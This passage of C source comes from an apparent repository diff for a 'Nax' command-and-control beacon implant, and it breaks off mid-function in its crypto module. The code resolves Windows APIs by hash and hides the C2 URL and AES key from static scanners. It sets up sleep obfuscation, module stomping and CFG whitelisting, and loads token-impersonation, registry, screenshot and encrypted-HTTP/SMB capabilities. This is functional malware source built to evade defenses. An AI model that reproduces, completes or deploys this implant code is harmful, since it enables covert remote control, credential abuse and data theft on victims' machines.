info->DmLen = 0; while ( info->Domain[info->DmLen] ) info->DmLen++;
info->PnLen = 0; while ( info->Procname[info->PnLen] ) info->PnLen++;
info->ImLen = 0; while ( Nax->ImgPath[info->ImLen] ) info->ImLen++;
NaxDbg( Nax, "host=%s user=%s proc=%s ip=%s pid=%u tid=%u elevated=%u os=%u.%u.%u ppid=%u acp=%u",
info->Hostname, info->Username, info->Procname, info->IpStr, info->Pid, info->Tid,
(UINT32)Nax->Elevated, Nax->OsMajor, Nax->OsMinor, Nax->OsBuild, Nax->ParentPid, Nax->Acp );
}
/* ========= [ instance bootstrap ] ========= */
FUNC PNAX_INSTANCE NaxBootstrap( VOID ) {
/* - resolve ntdll - */
HMODULE hNtdll = NaxGetModule( H_NTDLL_DLL );
if ( ! hNtdll ) return NULL;
PVOID pAlloc = NaxGetProc( hNtdll, H_RTLALLOCATEHEAP );
if ( ! pAlloc ) return NULL;
__typeof__( RtlAllocateHeap )* fnRtlAllocateHeap = (__typeof__( RtlAllocateHeap )*)pAlloc;
/* - allocate instance - */
HANDLE heap = NaxGetProcessHeap();
PNAX_INSTANCE Nax = (PNAX_INSTANCE)fnRtlAllocateHeap( heap, 0, sizeof( NAX_INSTANCE ) );
if ( ! Nax ) return NULL;
MmZero( Nax, sizeof( NAX_INSTANCE ) );
/* - ntdll: heap + debug - */
Nax->Heap = heap;
Nax->Ntdll.Handle = hNtdll;
Nax->Ntdll.RtlAllocateHeap = (PVOID)pAlloc;
Nax->Ntdll.RtlFreeHeap = (PVOID)NaxGetProc( hNtdll, H_RTLFREEHEAP );
Nax->Ntdll.DbgPrint = (PVOID)NaxGetProc( hNtdll, H_DBGPRINT );
/* - resolve remaining ntdll - */
Nax->Ntdll.RtlExitUserThread = (PVOID)NaxGetProc( hNtdll, H_RTLEXITUSERTHREAD );
Nax->Ntdll.NtAllocateVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTALLOCATEVIRTUALMEMORY );
Nax->Ntdll.NtProtectVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTPROTECTVIRTUALMEMORY );
Nax->Ntdll.NtFreeVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTFREEVIRTUALMEMORY );
Nax->Ntdll.RtlAddFunctionTable = (PVOID)NaxGetProc( hNtdll, H_RTLADDFUNCTIONTABLE );
Nax->Ntdll.RtlDeleteFunctionTable = (PVOID)NaxGetProc( hNtdll, H_RTLDELETEFUNCTIONTABLE );
Nax->Ntdll._vsnprintf = (PVOID)NaxGetProc( hNtdll, H__VSNPRINTF );
Nax->Ntdll.NtOpenProcessToken = (PVOID)NaxGetProc( hNtdll, H_NTOPENPROCESSTOKEN );
Nax->Ntdll.NtQueryInformationToken = (PVOID)NaxGetProc( hNtdll, H_NTQUERYINFORMATIONTOKEN );
Nax->Ntdll.NtQueryInformationProcess = (PVOID)NaxGetProc( hNtdll, H_NTQUERYINFORMATIONPROCESS );
Nax->Ntdll.NtClose = (PVOID)NaxGetProc( hNtdll, H_NTCLOSE );
Nax->Ntdll.NtQuerySystemInformation = (PVOID)NaxGetProc( hNtdll, H_NTQUERYSYSTEMINFORMATION );
Nax->Ntdll.NtQueryVirtualMemory = (PVOID)NaxGetProc( hNtdll, H_NTQUERYVIRTUALMEMORY );
Nax->Ntdll.NtOpenProcess = (PVOID)NaxGetProc( hNtdll, H_NTOPENPROCESS );
Nax->Ntdll.NtTerminateProcess = (PVOID)NaxGetProc( hNtdll, H_NTTERMINATEPROCESS );
/* thread pool + critical section */
Nax->Ntdll.TpAllocWork = (PVOID)NaxGetProc( hNtdll, H_TPALLOCWORK );
Nax->Ntdll.TpPostWork = (PVOID)NaxGetProc( hNtdll, H_TPPOSTWORK );
Nax->Ntdll.TpReleaseWork = (PVOID)NaxGetProc( hNtdll, H_TPRELEASEWORK );
Nax->Ntdll.RtlInitializeCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLINITIALIZECRITICALSECTION );
Nax->Ntdll.RtlEnterCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLENTERCRITICALSECTION );
Nax->Ntdll.RtlLeaveCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLLEAVECRITICALSECTION );
Nax->Ntdll.RtlTryEnterCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLTRYENTERCRITICALSECTION );
Nax->Ntdll.RtlDeleteCriticalSection = (PVOID)NaxGetProc( hNtdll, H_RTLDELETECRITICALSECTION );
Nax->Ntdll.LdrRegisterDllNotification = (PVOID)NaxGetProc( hNtdll, H_LDRREGISTERDLLNOTIFICATION );
Nax->Ntdll.LdrUnregisterDllNotification = (PVOID)NaxGetProc( hNtdll, H_LDRUNREGISTERDLLNOTIFICATION );
NaxDbgx( Nax, "bootstrap: heap=%p Nax=%p", (PVOID)heap, (PVOID)Nax );
/* - populate config from compile-time constants - */
NaxInitConfig( Nax );
NaxDbgx( Nax, "config: sleep=%u jitter=%u", Nax->Config.SleepMs, (UINT32)Nax->Config.JitterPct );
/* - resolve kernel32 - */
HMODULE hK32 = NaxGetModule( H_KERNEL32_DLL );
NaxDbgx( Nax, "kernel32: %p", hK32 );
if ( ! hK32 ) {
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, Nax );
return NULL;
}
Nax->Kernel32.Handle = hK32;
Nax->Kernel32.GetComputerNameExW = (PVOID)NaxGetProc( hK32, H_GETCOMPUTERNAMEEXW );
Nax->Kernel32.ExitProcess = (PVOID)NaxGetProc( hK32, H_EXITPROCESS );
Nax->Kernel32.Sleep = (PVOID)NaxGetProc( hK32, H_SLEEP );
Nax->Kernel32.LoadLibraryW = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYW );
Nax->Kernel32.WideCharToMultiByte = (PVOID)NaxGetProc( hK32, H_WIDECHARTOMULTIBYTE );
Nax->Kernel32.MultiByteToWideChar = (PVOID)NaxGetProc( hK32, H_MULTIBYTETOWIDECHAR );
Nax->Kernel32.GlobalFree = (PVOID)NaxGetProc( hK32, H_GLOBALFREE );
Nax->Kernel32.CreateDirectoryA = (PVOID)NaxGetProc( hK32, H_CREATEDIRECTORYA );
Nax->Kernel32.SetCurrentDirectoryA = (PVOID)NaxGetProc( hK32, H_SETCURRENTDIRECTORYA );
Nax->Kernel32.GetCurrentDirectoryA = (PVOID)NaxGetProc( hK32, H_GETCURRENTDIRECTORYA );
Nax->Kernel32.CreateFileA = (PVOID)NaxGetProc( hK32, H_CREATEFILEA );
Nax->Kernel32.ReadFile = (PVOID)NaxGetProc( hK32, H_READFILE );
Nax->Kernel32.WriteFile = (PVOID)NaxGetProc( hK32, H_WRITEFILE );
Nax->Kernel32.DeleteFileA = (PVOID)NaxGetProc( hK32, H_DELETEFILEA );
Nax->Kernel32.CloseHandle = (PVOID)NaxGetProc( hK32, H_CLOSEHANDLE );
Nax->Kernel32.RemoveDirectoryA = (PVOID)NaxGetProc( hK32, H_REMOVEDIRECTORYA );
Nax->Kernel32.HeapCreate = (PVOID)NaxGetProc( hK32, H_HEAPCREATE );
Nax->Kernel32.HeapDestroy = (PVOID)NaxGetProc( hK32, H_HEAPDESTROY );
Nax->Kernel32.FindFirstFileA = (PVOID)NaxGetProc( hK32, H_FINDFIRSTFILEA );
Nax->Kernel32.FindNextFileA = (PVOID)NaxGetProc( hK32, H_FINDNEXTFILEA );
Nax->Kernel32.FindClose = (PVOID)NaxGetProc( hK32, H_FINDCLOSE );
Nax->Kernel32.LoadLibraryA = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYA );
Nax->Kernel32.GetProcAddress = (PVOID)NaxGetProc( hK32, H_GETPROCADDRESS );
Nax->Kernel32.GetModuleHandleA = (PVOID)NaxGetProc( hK32, H_GETMODULEHANDLEA );
Nax->Kernel32.FreeLibrary = (PVOID)NaxGetProc( hK32, H_FREELIBRARY );
Nax->Kernel32.LoadLibraryExW = (PVOID)NaxGetProc( hK32, H_LOADLIBRARYEXW );
Nax->Kernel32.VirtualProtect = (PVOID)NaxGetProc( hK32, H_VIRTUALPROTECT );
Nax->Kernel32.GetFileSize = (PVOID)NaxGetProc( hK32, H_GETFILESIZE );
Nax->Kernel32.GetLastError = (PVOID)NaxGetProc( hK32, H_GETLASTERROR );
Nax->Kernel32.CreateProcessA = (PVOID)NaxGetProc( hK32, H_CREATEPROCESSA );
Nax->Kernel32.CreatePipe = (PVOID)NaxGetProc( hK32, H_CREATEPIPE );
Nax->Kernel32.WaitForSingleObject = (PVOID)NaxGetProc( hK32, H_WAITFORSINGLEOBJECT );
Nax->Kernel32.WaitForMultipleObjects = (PVOID)NaxGetProc( hK32, H_WAITFORMULTIPLEOBJECTS );
Nax->Kernel32.PeekNamedPipe = (PVOID)NaxGetProc( hK32, H_PEEKNAMEDPIPE );
Nax->Kernel32.CreateNamedPipeA = (PVOID)NaxGetProc( hK32, H_CREATENAMEDPIPEA );
Nax->Kernel32.ConnectNamedPipe = (PVOID)NaxGetProc( hK32, H_CONNECTNAMEDPIPE );
Nax->Kernel32.DisconnectNamedPipe = (PVOID)NaxGetProc( hK32, H_DISCONNECTNAMEDPIPE );
Nax->Kernel32.SetNamedPipeHandleState = (PVOID)NaxGetProc( hK32, H_SETNAMEDPIPEHANDLESTATE );
Nax->Kernel32.CreateEventA = (PVOID)NaxGetProc( hK32, H_CREATEEVENTA );
Nax->Kernel32.SetEvent = (PVOID)NaxGetProc( hK32, H_SETEVENT );
Nax->Kernel32.ResetEvent = (PVOID)NaxGetProc( hK32, H_RESETEVENT );
Nax->Kernel32.GetOverlappedResult = (PVOID)NaxGetProc( hK32, H_GETOVERLAPPEDRESULT );
Nax->Kernel32.CancelIo = (PVOID)NaxGetProc( hK32, H_CANCELIO );
Nax->Kernel32.FlushFileBuffers = (PVOID)NaxGetProc( hK32, H_FLUSHFILEBUFFERS );
Nax->Kernel32.GetACP = (PVOID)NaxGetProc( hK32, H_GETACP );
Nax->Kernel32.GetOEMCP = (PVOID)NaxGetProc( hK32, H_GETOEMCP );
/* threading */
Nax->Kernel32.CreateThread = (PVOID)NaxGetProc( hK32, H_CREATETHREAD );
Nax->Kernel32.TerminateThread = (PVOID)NaxGetProc( hK32, H_TERMINATETHREAD );
Nax->Kernel32.GetTickCount64 = (PVOID)NaxGetProc( hK32, H_GETTICKCOUNT64 );
Nax->Kernel32.GetCurrentThread = (PVOID)NaxGetProc( hK32, H_GETCURRENTTHREAD );
Nax->Kernel32.DuplicateHandle = (PVOID)NaxGetProc( hK32, H_DUPLICATEHANDLE );
Nax->Kernel32.GetCurrentProcess = (PVOID)NaxGetProc( hK32, H_GETCURRENTPROCESS );
/* CFG */
Nax->Kernel32.GetProcessMitigationPolicy = (PVOID)NaxGetProc( hK32, H_GETPROCESSMITIGATIONPOLICY );
/* - create a PRIVATE heap for beacon allocations ---------------------
* BOF code calls HeapAlloc(GetProcessHeap(), ...) expecting a clean heap.
* If our beacon uses GetProcessHeap() too, we dirty it with hundreds of
* allocations (heartbeat buffers, BofCtx output, etc.), causing the BOF's
* first HeapAlloc to return a chunk whose low 2 bytes can exceed the BOF's
* output buffer size → signed underflow → rep movsb crash (whoami BOF).
*
* With a private heap: beacon allocations come from Nax->Heap (private),
* BOF's GetProcessHeap() allocations come from the process default heap
* (relatively clean → address low 2 bytes safely below 0x2000). */
if ( Nax->Kernel32.HeapCreate ) {
HANDLE priv = Nax->Kernel32.HeapCreate( 0, 0, 0 );
if ( priv ) Nax->Heap = priv;
}
NaxDbgx( Nax, "beacon private heap: %p", Nax->Heap );
/* - kernelbase (CFG) - */
HMODULE hKB = NaxGetModule( H_KERNELBASE_DLL );
if ( hKB )
Nax->Kernelbase.SetProcessValidCallTargets = (PVOID)NaxGetProc( hKB, H_SETPROCESSVALIDCALLTARGETS );
NaxCfgInit( Nax );
Nax->JobWakeEvent = Nax->Kernel32.CreateEventA( NULL, TRUE, FALSE, NULL );
WCHAR msv[] = { 'm', 's', 'v', 'c', 'r', 't', '.', 'd', 'l', 'l', '\0' };
HMODULE hMsvcrt = Nax->Kernel32.LoadLibraryW( msv );
if ( ! hMsvcrt ) {
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
return NULL;
}
Nax->Msvcrt.printf = (PVOID)NaxGetProc( hMsvcrt, H_PRINTF );
/* - bcrypt (both HTTP and SMB need AES) - */
WCHAR bcry[] = { 'b', 'c', 'r', 'y', 'p', 't', '.', 'd', 'l', 'l', '\0' };
HMODULE hBcrypt = Nax->Kernel32.LoadLibraryW( bcry );
if ( ! hBcrypt ) {
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
return NULL;
}
Nax->Bcrypt.BCryptOpenAlgorithmProvider = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTOPENALGORITHMPROVIDER );
Nax->Bcrypt.BCryptSetProperty = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTSETPROPERTY );
Nax->Bcrypt.BCryptGenerateSymmetricKey = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTGENERATESYMMETRICKEY );
Nax->Bcrypt.BCryptEncrypt = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTENCRYPT );
Nax->Bcrypt.BCryptDecrypt = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTDECRYPT );
Nax->Bcrypt.BCryptDestroyKey = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTDESTROYKEY );
Nax->Bcrypt.BCryptCloseAlgorithmProvider = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTCLOSEALGORITHMPROVIDER );
Nax->Bcrypt.BCryptGenRandom = (PVOID)NaxGetProc( hBcrypt, H_BCRYPTGENRANDOM );
/* - iphlpapi (all transports need GetAdaptersInfo for internal IP) - */
WCHAR iphl[] = { 'i', 'p', 'h', 'l', 'p', 'a', 'p', 'i', '.', 'd', 'l', 'l', '\0' };
HMODULE hIphlpapi = Nax->Kernel32.LoadLibraryW( iphl );
if ( ! hIphlpapi ) {
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
return NULL;
}
Nax->Iphlpapi.GetAdaptersInfo = (PVOID)NaxGetProc( hIphlpapi, H_GETADAPTERSINFO );
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
/* - winhttp (HTTP transport only) - */
WCHAR whttp[] = { 'w', 'i', 'n', 'h', 't', 't', 'p', '.', 'd', 'l', 'l', '\0' };
HMODULE hWinhttp = Nax->Kernel32.LoadLibraryW( whttp );
NaxDbgx( Nax, "winhttp=%p bcrypt=%p iphlpapi=%p", hWinhttp, hBcrypt, hIphlpapi );
if ( ! hWinhttp ) {
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
return NULL;
}
Nax->Winhttp.WinHttpOpen = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPOPEN );
Nax->Winhttp.WinHttpConnect = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCONNECT );
Nax->Winhttp.WinHttpOpenRequest = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPOPENREQUEST );
Nax->Winhttp.WinHttpSendRequest = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPSENDREQUEST );
Nax->Winhttp.WinHttpReceiveResponse = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPRECEIVERESPONSE );
Nax->Winhttp.WinHttpQueryHeaders = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYHEADERS );
Nax->Winhttp.WinHttpReadData = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPREADDATA );
Nax->Winhttp.WinHttpCloseHandle = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCLOSEHANDLE );
Nax->Winhttp.WinHttpCrackUrl = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPCRACKURL );
Nax->Winhttp.WinHttpSetOption = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPSETOPTION );
Nax->Winhttp.WinHttpQueryOption = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYOPTION );
Nax->Winhttp.WinHttpQueryDataAvailable = (PVOID)NaxGetProc( hWinhttp, H_WINHTTPQUERYDATAAVAILABLE );
#else
NaxDbgx( Nax, "SMB transport: skipping winhttp (iphlpapi=%p)", hIphlpapi );
#endif
WCHAR adv[] = { 'a', 'd', 'v', 'a', 'p', 'i', '3', '2', '.', 'd', 'l', 'l', '\0' };
HMODULE hAdvapi32 = Nax->Kernel32.LoadLibraryW( adv );
if ( ! hAdvapi32 ) {
Nax->Ntdll.RtlFreeHeap( heap, 0, Nax );
return NULL;
}
Nax->Advapi32.GetUserNameW = (PVOID)NaxGetProc( hAdvapi32, H_GETUSERNAMEW );
Nax->Advapi32.GetTokenInformation = (PVOID)NaxGetProc( hAdvapi32, H_GETTOKENINFORMATION );
Nax->Advapi32.LookupAccountSidA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPACCOUNTSIDA );
Nax->Advapi32.AllocateAndInitializeSid = (PVOID)NaxGetProc( hAdvapi32, H_ALLOCATEANDINITIALIZESID );
Nax->Advapi32.InitializeSecurityDescriptor = (PVOID)NaxGetProc( hAdvapi32, H_INITIALIZESECURITYDESCRIPTOR );
Nax->Advapi32.SetSecurityDescriptorDacl = (PVOID)NaxGetProc( hAdvapi32, H_SETSECURITYDESCRIPTORDACL );
Nax->Advapi32.SetEntriesInAclA = (PVOID)NaxGetProc( hAdvapi32, H_SETENTRIESINACLA );
Nax->Advapi32.FreeSid = (PVOID)NaxGetProc( hAdvapi32, H_FREESID );
Nax->Advapi32.DuplicateTokenEx = (PVOID)NaxGetProc( hAdvapi32, H_DUPLICATETOKENEX );
Nax->Advapi32.ImpersonateLoggedOnUser = (PVOID)NaxGetProc( hAdvapi32, H_IMPERSONATELOGGEDONUSER );
Nax->Advapi32.RevertToSelf = (PVOID)NaxGetProc( hAdvapi32, H_REVERTTOSELF );
Nax->Advapi32.LogonUserA = (PVOID)NaxGetProc( hAdvapi32, H_LOGONUSERA );
Nax->Advapi32.AdjustTokenPrivileges = (PVOID)NaxGetProc( hAdvapi32, H_ADJUSTTOKENPRIVILEGES );
Nax->Advapi32.LookupPrivilegeValueA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPPRIVILEGEVALUEA );
Nax->Advapi32.LookupPrivilegeNameA = (PVOID)NaxGetProc( hAdvapi32, H_LOOKUPPRIVILEGENAMEA );
Nax->Advapi32.OpenThreadToken = (PVOID)NaxGetProc( hAdvapi32, H_OPENTHREADTOKEN );
Nax->Advapi32.RegCreateKeyExW = (PVOID)NaxGetProc( hAdvapi32, H_REGCREATEKEYEXW );
Nax->Advapi32.RegSetValueExW = (PVOID)NaxGetProc( hAdvapi32, H_REGSETVALUEEXW );
Nax->Advapi32.RegCloseKey = (PVOID)NaxGetProc( hAdvapi32, H_REGCLOSEKEY );
NaxDbgx( Nax, "advapi32=%p GetUserNameW=%p", hAdvapi32, Nax->Advapi32.GetUserNameW );
/* - user32 + gdi32 for screenshot - loaded lazily; not fatal if absent - */
WCHAR user32w[] = { 'u','s','e','r','3','2','.','d','l','l','\0' };
WCHAR gdi32w[] = { 'g','d','i','3','2', '.','d','l','l','\0' };
HMODULE hUser32 = Nax->Kernel32.LoadLibraryW( user32w );
HMODULE hGdi32 = Nax->Kernel32.LoadLibraryW( gdi32w );
if ( hUser32 ) {
Nax->User32.GetSystemMetrics = (PVOID)NaxGetProc( hUser32, H_GETSYSTEMMETRICS );
Nax->User32.GetDC = (PVOID)NaxGetProc( hUser32, H_GETDC );
Nax->User32.ReleaseDC = (PVOID)NaxGetProc( hUser32, H_RELEASEDC );
}
if ( hGdi32 ) {
Nax->Gdi32.CreateCompatibleDC = (PVOID)NaxGetProc( hGdi32, H_CREATECOMPATIBLEDC );
Nax->Gdi32.CreateCompatibleBitmap = (PVOID)NaxGetProc( hGdi32, H_CREATECOMPATIBLEBITMAP );
Nax->Gdi32.SelectObject = (PVOID)NaxGetProc( hGdi32, H_SELECTOBJECT );
Nax->Gdi32.BitBlt = (PVOID)NaxGetProc( hGdi32, H_BITBLT );
Nax->Gdi32.GetDIBits = (PVOID)NaxGetProc( hGdi32, H_GETDIBITS );
Nax->Gdi32.DeleteObject = (PVOID)NaxGetProc( hGdi32, H_DELETEOBJECT );
Nax->Gdi32.DeleteDC = (PVOID)NaxGetProc( hGdi32, H_DELETEDC );
}
NaxDbgx( Nax, "user32=%p gdi32=%p", hUser32, hGdi32 );
/* Record beacon .text region for sleepmask encryption */
if ( Nax->Ntdll.NtQueryVirtualMemory ) {
MEMORY_BASIC_INFORMATION mbi;
MmZero( &mbi, sizeof( mbi ) );
if ( Nax->Ntdll.NtQueryVirtualMemory( NtCurrentProcess(), (PVOID)NaxBootstrap, 0, &mbi, sizeof( mbi ), NULL ) == 0 ) {
Nax->SmInfo.BeaconBase = mbi.BaseAddress;
Nax->SmInfo.BeaconSize = (UINT32)mbi.RegionSize;
NaxDbgx( Nax, "beacon region: base=%p size=0x%x", Nax->SmInfo.BeaconBase, Nax->SmInfo.BeaconSize );
}
}
/* Read stomp context tag - loader writes { magic, cleanBuf, cleanSize }
* at (code start + code size), right after the beacon shellcode. */
{
extern PVOID StartPtr( void );
extern PVOID EndPtr( void );
SIZE_T codeSize = (SIZE_T)( (PBYTE)EndPtr() - (PBYTE)StartPtr() );
PBYTE pTag = (PBYTE)StartPtr() + codeSize;
NaxDbgx( Nax, "stomp tag: start=%p end=%p codeSize=0x%zx pTag=%p magic=0x%08x",
StartPtr(), EndPtr(), codeSize, pTag, *(UINT32*)pTag );
if ( *(UINT32*)pTag == NAX_STOMP_CTX_MAGIC ) {
Nax->SmInfo.CleanTextBuf = *(PVOID*)( pTag + sizeof( UINT32 ) );
Nax->SmInfo.CleanTextSize = *(UINT32*)( pTag + sizeof( UINT32 ) + sizeof( PVOID ) );
NaxDbgx( Nax, "clean text: buf=%p size=0x%x", Nax->SmInfo.CleanTextBuf, Nax->SmInfo.CleanTextSize );
} else {
NaxDbgx( Nax, "stomp tag NOT FOUND: bytes at pTag: %02x %02x %02x %02x %02x %02x %02x %02x",
pTag[0], pTag[1], pTag[2], pTag[3], pTag[4], pTag[5], pTag[6], pTag[7] );
}
}
NaxDbgx( Nax, "bootstrap complete" );
return Nax;
}
+41
View File
@@ -0,0 +1,41 @@
/* beacon/src/Core/Cfg.c
* Control Flow Guard helpers - query status, whitelist targets. */
#include "Macros.h"
#include "Instance.h"
#include "Cfg.h"
FUNC VOID NaxCfgInit( PNAX_INSTANCE Nax ) {
Nax->CfgEnabled = FALSE;
if ( !Nax->Kernel32.GetProcessMitigationPolicy )
return;
NAX_CFG_POLICY policy;
MmZero( &policy, sizeof( policy ) );
if ( Nax->Kernel32.GetProcessMitigationPolicy( (HANDLE)-1, NAX_POLICY_CFG, &policy, sizeof( policy ) ) )
Nax->CfgEnabled = policy.EnableControlFlowGuard;
NaxDbg( Nax, "[cfg] enabled=%d", (INT)Nax->CfgEnabled );
}
FUNC BOOL NaxCfgAddTarget( PNAX_INSTANCE Nax, PVOID ImageBase, PVOID Function ) {
if ( !Nax->CfgEnabled )
return TRUE;
if ( !Nax->Kernelbase.SetProcessValidCallTargets )
return FALSE;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ImageBase;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)ImageBase + dos->e_lfanew );
SIZE_T length = ( (SIZE_T)nt->OptionalHeader.SizeOfImage + 0xFFF ) & ~(SIZE_T)0xFFF;
CFG_CALL_TARGET_INFO cfg;
cfg.Offset = U_PTR( Function ) - U_PTR( ImageBase );
cfg.Flags = CFG_CALL_TARGET_VALID;
BOOL ok = Nax->Kernelbase.SetProcessValidCallTargets( (HANDLE)-1, ImageBase, length, 1, &cfg );
NaxDbg( Nax, "[cfg] add target: base=%p func=%p offset=0x%llx ok=%d", ImageBase, Function, (UINT64)cfg.Offset, (INT)ok );
return ok;
}
+95
View File
@@ -0,0 +1,95 @@
/* beacon/src/Core/Config.c
* NaxInitConfig - populate NAX_CONFIG from compile-time constants in Config.h.
*
* WHY NAX_C2_URL_WRITE / NAX_AES_KEY_WRITE macros: GCC -Os pools any local
* char[]/byte[] initializer into .rdata and copies from there, even when the
* source is { 'h','t','t','p',... } or { 0x48, 0xE9, ... }. Direct indexed
* assignments of integer constants through a volatile pointer always emit
* immediate MOVs in .text with no .rdata entry. */
#include "Nax.h"
#include "Config.h"
#include "Transport.h"
FUNC VOID NaxInitConfig( PNAX_INSTANCE Nax ) {
/* sleep / jitter - scalar assignments are always immediate MOVs */
Nax->Config.SleepMs = NAX_SLEEP_MS;
Nax->Config.JitterPct = (BYTE)NAX_JITTER_PCT;
/* AES key - per-byte immediate stores, no intermediate array */
volatile BYTE *k = (volatile BYTE *)Nax->Config.AesKey;
NAX_AES_KEY_WRITE( k );
/* chunked download default */
Nax->Config.DlChunkSize = NAX_DL_CHUNK_DEFAULT;
/* listener watermark - used in SMB beat for pivot routing */
Nax->Config.ListenerWm = NAX_LISTENER_WM;
/* C2 URL - per-char immediate stores, no intermediate array */
volatile CHAR *u = (volatile CHAR *)Nax->Config.C2Url;
NAX_C2_URL_WRITE( u );
/* Default beacon ID header - HTTP only (SMB uses raw pipe framing) */
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
volatile CHAR *bh = (volatile CHAR *)Nax->Config.BeaconIdHdr;
bh[0]='X'; bh[1]='-'; bh[2]='B'; bh[3]='e'; bh[4]='a'; bh[5]='c';
bh[6]='o'; bh[7]='n'; bh[8]='-'; bh[9]='I'; bh[10]='d'; bh[11]='\0';
#endif
/* BOF module stomping config */
#if NAX_BOF_STOMP
Nax->Config.BofStomp = 1;
{ volatile WCHAR *sd = (volatile WCHAR *)Nax->Config.BofSyncDll;
NAX_BOF_SYNC_DLL_WRITE( sd ); }
Nax->Config.BofAsyncCount = NAX_BOF_ASYNC_COUNT;
#if NAX_BOF_ASYNC_COUNT > 0
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[0];
NAX_BOF_ASYNC_0_WRITE( ad ); }
#endif
#if NAX_BOF_ASYNC_COUNT > 1
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[1];
NAX_BOF_ASYNC_1_WRITE( ad ); }
#endif
#if NAX_BOF_ASYNC_COUNT > 2
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[2];
NAX_BOF_ASYNC_2_WRITE( ad ); }
#endif
#if NAX_BOF_ASYNC_COUNT > 3
{ volatile WCHAR *ad = (volatile WCHAR *)Nax->Config.BofAsyncDlls[3];
NAX_BOF_ASYNC_3_WRITE( ad ); }
#endif
#ifdef NAX_SM_STOMP_DLL_WRITE
{ volatile WCHAR *sd = (volatile WCHAR *)Nax->Config.SmStompDll;
NAX_SM_STOMP_DLL_WRITE( sd ); }
#endif
#endif
/* Load embedded profile - HTTP only (SMB child uses raw pipe framing) */
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
#ifdef NAX_PROFILE_LEN
{
PBYTE prof_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, NAX_PROFILE_LEN );
if ( prof_buf ) {
volatile BYTE *pp = (volatile BYTE *)prof_buf;
NAX_PROFILE_WRITE( pp );
NaxApplyProfile( Nax, prof_buf, NAX_PROFILE_LEN );
Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, prof_buf );
}
}
#endif
#endif
/* sleep obfuscation defaults (from Config.h, always recompiled by link target) */
#ifndef NAX_DEFAULT_SLEEP_OBF
#define NAX_DEFAULT_SLEEP_OBF 1
#endif
Nax->SmInfo.Config.SleepObf = NAX_DEFAULT_SLEEP_OBF;
}
#if NAX_TRANSPORT_PROFILE != NAX_TRANSPORT_SMB
FUNC INT NaxApplyProfile( PNAX_INSTANCE Nax, const PBYTE body, UINT32 body_len ) {
Nax->Config.ProfileLoaded = 0;
return NaxDecodeProfile( body, body_len, Nax );
}
#endif
+123
View File
@@ -0,0 +1,123 @@
/* beacon/src/Core/Crypto.c
* AES-128-CBC encrypt / decrypt via BCrypt, called through NAX_INSTANCE.
* Encrypt: generates a random 16-byte IV, prepends it → IV || ciphertext.
* Decrypt: first 16 bytes = IV, remainder = ciphertext → plaintext. */
#include "Macros.h"
#include "Instance.h"
#include "Crypto.h"
#include <bcrypt.h>
/* ========= [ encrypt: plaintext → IV || ciphertext ] ========= */
FUNC INT NaxEncrypt( PNAX_INSTANCE Nax,
const PBYTE plain, UINT32 plain_len,
PBYTE out, UINT32* out_len ) {
/* Minimum output: IV(16) + padded ciphertext (next multiple of 16). */
UINT32 pad_len = ( plain_len + NAX_AES_BLOCK ) & ~( NAX_AES_BLOCK - 1 );
if ( *out_len < NAX_AES_IV + pad_len )
return NAX_ERR_NOMEM;
/* Generate a random IV directly into the output buffer. */
if ( Nax->Bcrypt.BCryptGenRandom( NULL, out, NAX_AES_IV,
BCRYPT_USE_SYSTEM_PREFERRED_RNG ) != 0 )
return NAX_ERR_CRYPTO;
/* Open AES-CBC provider. */
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
INT rc = NAX_ERR_CRYPTO;
WCHAR aes_name[] = { 'A', 'E', 'S', '\0' };
WCHAR cbc_mode[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', '\0' };
WCHAR cbc_val[] = { 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'C', 'B', 'C', '\0' };
if ( Nax->Bcrypt.BCryptOpenAlgorithmProvider( &hAlg, aes_name, NULL, 0 ) != 0 )
goto done;
if ( Nax->Bcrypt.BCryptSetProperty( hAlg, cbc_mode,
